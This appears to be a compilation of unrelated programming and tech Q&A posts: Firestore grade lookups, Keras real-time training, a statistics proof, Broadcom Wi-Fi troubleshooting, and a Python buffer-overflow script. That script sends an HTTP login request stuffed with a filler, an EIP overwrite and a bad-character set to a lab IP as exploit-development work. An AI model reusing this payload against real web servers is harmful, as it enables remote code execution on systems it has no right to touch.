Q: How to search a student ID by LINE ID and get grade from collection grade in firestore? How to search a student ID by LINE ID and get grade from collection grade in firestore
firestore path user/{studentID}/Grade/{SubjectAutoKeyGen}
studentID doc use to where UserID = Line ID
SubjectAutoKeyGen doc use to where SubjectCode

    'use strict';

    const functions = require('firebase-functions');
    const {WebhookClient, Card, Suggestion, Payload} = require('dialogflow-fulfillment');

    const admin = require("firebase-admin");
    admin.initializeApp({
        credential: admin.credential.applicationDefault(),
        databaseURL: 'https://<YOUR-PROJECT-ID>.firebaseio.com'
    });
    const db = admin.firestore();

    process.env.DEBUG = 'dialogflow:debug';
    exports.dialogflowFirebaseFulfillment = functions.https.onRequest((request, response) => {
        const agent = new WebhookClient({ request, response });
        console.log('Dialogflow Request headers: ' + JSON.stringify(request.headers));
        console.log('Dialogflow Request body: ' + JSON.stringify(request.body))

       function Gradesubject(agent) {
          let subject = request.body.queryResult.parameters.SubjectCode;
          let ID = getUser(request.body.originalDetectIntentRequest.payload.data.source.userId).SID;
          return db.collection('users').doc(ID).collection('Grade').where('SubjectCode', '==', subject).get()
          .then(snap => {
            if (snapshot.empty) {
              agent.add('No matching documents.');
            }
            snapshot.forEach(doc => {
              agent.add('Subject Code '+ doc.data().SubjectCode +"\nSubject Name "+ doc.data().SubjectName +"\nCredit "+ doc.data().Credit +" Semester "+ doc.data().Semester +" Year "+ doc.data().Year +"\nGrade "+ doc.data().Grade);
            });
          });
        }

       function getUser(LineID){
          return db.collection('user').where('UserID', '==', LineID).get()
          .then(snapshot => {
            snapshot.forEach(doc => {
              var SID = doc.data().StudentID.toString();
            });
          });
        }

        let intentMap = new Map();
        intentMap.set('ask.grade - subject - custom',Gradesubject);
        agent.handleRequest(intentMap);
      });

Firestore
Data Photo


text:
Q: Using Keras for real-time training and predicting I want to use Keras for a real-time training and prediction setting. In my scenario I get real-time data via MQTT that should be used to train a (LSTM) Neural Network and/or to apply them to the to get a prediction.
I am using the Tensorflow backend with GPU support and fairly potent GPU capacity but in my scenario Keras does not really profit from GPU acceleration. (I did some performance tests by using the examples in the keras repository to make sure that the GPU acceleration works in general). In my first approach, I used the model.train_on_batch(...) method to train the network with each item coming via MQTT:
model = load_model()

def on_message(msg):
    """
    Method called by MQTT client each time new data comes in
    """

    if msg.topic == 'my/topic':
        X, Y = prepare_data(msg.payload)

        prediction = model.predict(X)
        loss = model.train_on_batch(X, Y)

        send_to_visualization_tool(prediction, loss)

One training step in this setting takes about 200ms. However, when I introduce a buffer e.g. buffering 100 data points, the training time for the whole batch only increases slightly. This suggests that the setup time for batch training has a huge overhead. I also noticed that when using size 1 batches, the CPU consumption is quite high, while the GPU is hardly used at all.
As an alternative I now introduced a synchronized Queue, where the MQTT client pushes data, whenever data comes in and the Neural Network then consumes all data as a batch, that came in while processing the previous batch:
train_data_queue = Queue.Queue()

# MQTT client running in separate thread
def on_message(msg):
    train_data_queue.put(msg.payload)

model = load_model()

while True:
    train_data_batch = dequeue_all(train_data_queue)  # dequeue all items from queue
                                                      # or block until at least one
                                                      # item is present
    X, Y = prepare_data(train_data_batch)

    predictions = model.predict_on_batch(X)
    losses = model.train_on_batch(X, Y)

    send_to_visualization_tool(predictions, losses)

This approach works okay but it would be nice if I could get rid of the additional complexity of synchronized Queues and multi threading. I.e. get first approach work.
My question therefore is: Is there a way to reduce the overhead of one batch trainings? E.g. by reimplementing the model in pure tensorflow?
Or can you think of a better way to do real-time training with Keras?

A: The performance of keras should be broadly similar to the performance of raw tensorflow, so I do not recommend rewriting your model.
Indeed modern hardware usually takes about the same time to train with a single example as it does with a batch of examples, which is why we spend so much effort batching things up. You can get rid of the complexity of synchronized queues if you want to use tf.contrib.batching.batch_function but you'll still need to feed it from many threads if you want to get the extra throughput.


text:
Q: Showing that a statistic is minimal sufficient but not complete uniform distribution
Let $X_1, \cdots, X_n$ be iid from a uniform distribution
   $U[\theta-\frac{1}{2}, \theta+\frac{1}{2}]$ with $\theta \in
 \mathbb{R}$ unknown. Show that the statistic $T(\mathbf{X}) =
 (X_{(1)}, X_{(n)})$ is minimal sufficient but not complete.

I am having trouble proving that it is not complete. My idea is as follows. If I can somehow create two functions of $T(\mathbf{X})$, say $f(X_{(1)}, X_{(n)})$ and $g(X_{(1)}, X_{(n)})$ where $f \neq g$ but show that both are unbiased estimators of $\theta$, then $T(\mathbf{X}) = (X_{(1)}, X_{(n)})$ cannot possibly be complete. Is this the right approach? I am stuck because I am unsure 1) How to find the expectations/distributions of the order statistics and 2) How to construct $f$ and $g$.
Any help would be appreciated!

A: HINT
For $g(X_{(1)},X_{(n)}) = X_{(n)} - X_{(1)},$ can you show $$ E[g(X_{(1)},X_{(n)})] $$ is independent of $\theta?$ Don't calculate it, just think about it.

A: The trick with these kind of problems is to apply Basu's theorem to get a contradiction. Note that $X_{(n)} - X_{(1)}$ is ancillary for $\theta$. If $(X_{(1)}, X_{(n)})$ was complete, then it would be independent of $X_{(n)} - X_{(1)}$. But this a contradiction, as knowing $(X_{(1)}, X_{(n)})$ completely determines $X_{(n)} - X_{(1)}$.


text:
Q: How to encode escaped hex for http request in Python3? The Python3 script below works fine if I remove 'badchars' from the script. However when I include 'badchars' in the content of my http request, I can see in Wireshark that there are a couple empty bytes between for some reason (see image)

What do I need to do to successfully pass the badchars with my other http content without empty bytes?
#!/usr/bin/python3
import sys
import time
import socket
import warnings

targetip = "192.168.168.10"
targetport = 80

try:
    #prepare input buffer
    filler = "A" * 780
    eip = "BBBB"
    offset = "C" * 4
    badchars = (
    "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

    inputBuffer = filler + eip + offset + badchars
    print("=" * 50)
    print("Sending evil buffer with %s bytes:" % len(inputBuffer))
    print("=" * 50)
    #construct http request payload
    content = "username="+ inputBuffer + "&password=A"
    request = "POST /login HTTP/1.1\r\n"
    request += "Host: 192.168.168.10\r\n"
    request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n"
    request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
    request += "Accept-Language: en-US,en;q=0.5\r\n"
    request += "Accept-Encoding: gzip, deflate\r\n"
    request += "Content-Type: application/x-www-form-urlencoded\r\n"
    request += "Content-Length: "+str(len(content))+"\r\n"
    request += "\r\n"
    request += content
    #print http request to be sent to target
    print (request.encode())

    #connect to target and send payload
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((targetip, targetport))
    s.send(request.encode())
    s.close()
    print("=" * 50)
    print("Complete!")
    print("=" * 50)
except:
    print ("\nCould not connect!")
    sys.exit(0)
sys.exit(0)


text:
Q: Linux bcm43224 wifi adapter slows down a couple minutes after boot I just installed Ubuntu on my mid 2012 MacBook Air. Everything worked out of the box, but the wifi is showing some weird behavior.
When I first login it's really fast, loading google.com is near instant, and browsing in general feels at least as smooth as it did on Mac OS. However, after a couple minutes the connection slows down dramatically, sometimes it takes over 5s to load google.com, a simple reboot fixes the problem for another couple minutes.
Specs:

*

*Wifi: 02:00.0 Network controller: Broadcom Corporation BCM43224 802.11a/b/g/n (rev 01)

*Driver: open-source brcmsmac driver

*Kernel: Linux wega 3.8.0-21-generic #32-Ubuntu SMP Tue May 14 22:16:46 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

*Distro: Ubuntu 13.04 (uptodate)

I tried a number of things, none of which actually helped

*

*Use proprietary sta driver from broadcom

*Installed firmware into /lib/firmware/brcms (which, as far as I can tell from logs, does not get loaded at all)

*Switch router to only use 2.4 OR 5 GHz

*Set router to only use a OR g OR n

*Set router to use AES encryption only

*Turned off power management on the adapter

*Set regulatory region to the correct value (NL) on both router and laptop

*Disable ipv6

Nothing seems to help, the slowdown always occurs. I did notice that the latency (ping google.com) stays roughly the same (around 9ms).
Below is some more information that might be of use.
$ lspci -nnk | grep -iA2 net
02:00.0 Network controller [0280]: Broadcom Corporation BCM43224 802.11a/b/g/n [14e4:4353] (rev 01)
    Subsystem: Apple Inc. Device [106b:00e9]
    Kernel driver in use: bcma-pci-bridge

$ rfkill list
0: hci0: Bluetooth
    Soft blocked: no
    Hard blocked: no
1: phy0: Wireless LAN
    Soft blocked: no
    Hard blocked: no

$ lsmod
Module                  Size  Used by
dm_crypt               22820  1
arc4                   12615  2
brcmsmac              550698  0
coretemp               13355  0
kvm_intel             132891  0
parport_pc             28152  0
kvm                   443165  1 kvm_intel
ppdev                  17073  0
cordic                 12574  1 brcmsmac
brcmutil               14755  1 brcmsmac
mac80211              606457  1 brcmsmac
cfg80211              510937  2 brcmsmac,mac80211
bnep                   18036  2
rfcomm                 42641  12
joydev                 17377  0
applesmc               19353  0
input_polldev          13896  1 applesmc
snd_hda_codec_hdmi     36913  1
microcode              22881  0
snd_hda_codec_cirrus    23829  1
nls_iso8859_1          12713  1
uvcvideo               80847  0
btusb                  22474  0
snd_hda_intel          39619  3
videobuf2_vmalloc      13056  1 uvcvideo
snd_hda_codec         136453  3 snd_hda_codec_hdmi,snd_hda_intel,snd_hda_codec_cirrus
bcm5974                17347  0
bluetooth             228619  22 bnep,btusb,rfcomm
snd_hwdep              13602  1 snd_hda_codec
lpc_ich                17061  0
videobuf2_memops       13202  1 videobuf2_vmalloc
videobuf2_core         40513  1 uvcvideo
videodev              129260  2 uvcvideo,videobuf2_core
bcma                   41051  1 brcmsmac
snd_pcm                97451  3 snd_hda_codec_hdmi,snd_hda_codec,snd_hda_intel
snd_page_alloc         18710  2 snd_pcm,snd_hda_intel
snd_seq_midi           13324  0
snd_seq_midi_event     14899  1 snd_seq_midi
snd_rawmidi            30180  1 snd_seq_midi
snd_seq                61554  2 snd_seq_midi_event,snd_seq_midi
snd_seq_device         14497  3 snd_seq,snd_rawmidi,snd_seq_midi
snd_timer              29425  2 snd_pcm,snd_seq
snd                    68876  16 snd_hwdep,snd_timer,snd_hda_codec_hdmi,snd_pcm,snd_seq,snd_rawmidi,snd_hda_codec,snd_hda_intel,snd_seq_device,snd_hda_codec_cirrus
mei                    41158  0
soundcore              12680  1 snd
apple_bl               13673  0
mac_hid                13205  0
lp                     17759  0
parport                46345  3 lp,ppdev,parport_pc
usb_storage            57204  0
hid_apple              13237  0
hid_generic            12540  0
ghash_clmulni_intel    13259  0
aesni_intel            55399  399
aes_x86_64             17255  1 aesni_intel
xts                    12885  1 aesni_intel
lrw                    13257  1 aesni_intel
gf128mul               14951  2 lrw,xts
ablk_helper            13597  1 aesni_intel
cryptd                 20373  4 ghash_clmulni_intel,aesni_intel,ablk_helper
i915                  600351  3
ahci                   25731  3
libahci                31364  1 ahci
video                  19390  1 i915
i2c_algo_bit           13413  1 i915
drm_kms_helper         49394  1 i915
usbhid                 47074  0
drm                   286313  4 i915,drm_kms_helper
hid                   101002  3 hid_generic,usbhid,hid_apple

$ dmesg | egrep 'b43|bcma|brcm|[F]irm'
[    0.055025] [Firmware Bug]: ioapic 2 has no mapping iommu, interrupt remapping will be disabled
[    0.152336] [Firmware Bug]: ACPI: BIOS _OSI(Linux) query ignored
[    2.187681] pci_root PNP0A08:00: [Firmware Info]: MMCONFIG for domain 0000 [bus 00-99] only partially covers this bridge
[   12.553600] bcma-pci-bridge 0000:02:00.0: enabling device (0000 -> 0002)
[   12.553657] bcma: bus0: Found chip with id 0xA8D8, rev 0x01 and package 0x08
[   12.553688] bcma: bus0: Core 0 found: ChipCommon (manuf 0x4BF, id 0x800, rev 0x22, class 0x0)
[   12.553715] bcma: bus0: Core 1 found: IEEE 802.11 (manuf 0x4BF, id 0x812, rev 0x17, class 0x0)
[   12.553764] bcma: bus0: Core 2 found: PCIe (manuf 0x4BF, id 0x820, rev 0x0F, class 0x0)
[   12.605777] bcma: bus0: Bus registered
[   12.852925] brcmsmac bcma0:0: mfg 4bf core 812 rev 23 class 0 irq 17
[   13.085176] brcmsmac bcma0:0: brcms_ops_bss_info_changed: qos enabled: false (implement)
[   13.085186] brcmsmac bcma0:0: brcms_ops_config: change power-save mode: false (implement)
[   20.862617] brcmsmac bcma0:0: brcmsmac: brcms_ops_bss_info_changed: associated
[   20.862622] brcmsmac bcma0:0: brcms_ops_bss_info_changed: arp filtering: enabled true, count 0 (implement)
[   20.862625] brcmsmac bcma0:0: brcms_ops_bss_info_changed: qos enabled: true (implement)
[   20.897957] brcmsmac bcma0:0: brcms_ops_bss_info_changed: arp filtering: enabled true, count 1 (implement)

$ iwconfig
lo        no wireless extensions.

wlan0     IEEE 802.11abgn  ESSID:"wlan"
          Mode:Managed  Frequency:5.22 GHz  Access Point: E0:46:9A:4E:63:9A
          Bit Rate=65 Mb/s   Tx-Power=17 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality=63/70  Signal level=-47 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:13  Invalid misc:56   Missed beacon:0

A: I used to have the same wireless card in my Dell Vostro and I had some similar problems too.
Try to compile the driver as stated here (I do not use Ubuntu nor have the notebook anymore to test and make sure it works)
https://askubuntu.com/questions/55868/how-to-install-a-broadcom-wireless-driver
These can also help:
https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx
http://ubuntuforums.org/showthread.php?t=1658627
Finally, I have a strong feeling that you do need to recompile the kernel and activate the CONFIG_B43_BCMA_EXTRA var to be able to load the b43 module.

A: Im sure I have similar hardware, and i was having the exact same issue that you are.
You can fix it fairly easily.
I used this guide to fix the issue: http://forums.fedoraforum.org/showpost.php?p=1583224&postcount=7

My Hardware Info
[user@macbookair ~]$ sudo dmidecode -t 2
  dmidecode 2.12 SMBIOS 2.4 present.
Handle 0x001C, DMI type 2, 16 bytes Base Board Information
  Manufacturer: Apple Inc.
  Product Name: Mac-2E6FAB96566FE58C Version:
  MacBookAir5,2 Serial Number: xxxxx Asset Tag: Base Board
  Asset Tag Features: Board is a hosting board Board is replaceable
  Location In Chassis: Part Component Chassis Handle: 0x001D Type:
  Motherboard Contained Object Handles: 0
[user@macbookair ~]$ sudo lspci | grep Network
  02:00.0 Network controller: Broadcom Corporation BCM43224 802.11a/b/g/n (rev 01)

get the drivers from www.broadcom.com/support/802.11/linux_sta.php

wget http://www.broadcom.com/docs/linux_sta/hybrid-portsrc_x86_64-v5_100_82_112.tar.gz

extract

tar -xvzf hybrid-portsrc_x86_64-v5_100_82_112.tar.gz

remove the include line of include asm/system.h

nano src/wl/sys/wl_linux.c

search for the string
.ndo_set_multicast_list
and replace it with
.ndo_set_rx_mode
build the driver

make

mkdir for the driver and copy driver

mkdir -p /lib/modules/`uname -r`/extra/wl && cp wl.ko /lib/modules/`uname -r`/extra/wl

note sure what these do, but i think they load the driver

depmod -a && modprobe wl

i use fedora, so your mileage may vary. i also had to install akmods service because my wlan card wouldnt turn back on if i reset the networking service until i started akmods.
i am an absolute noob at linux, so take this information with that in mind!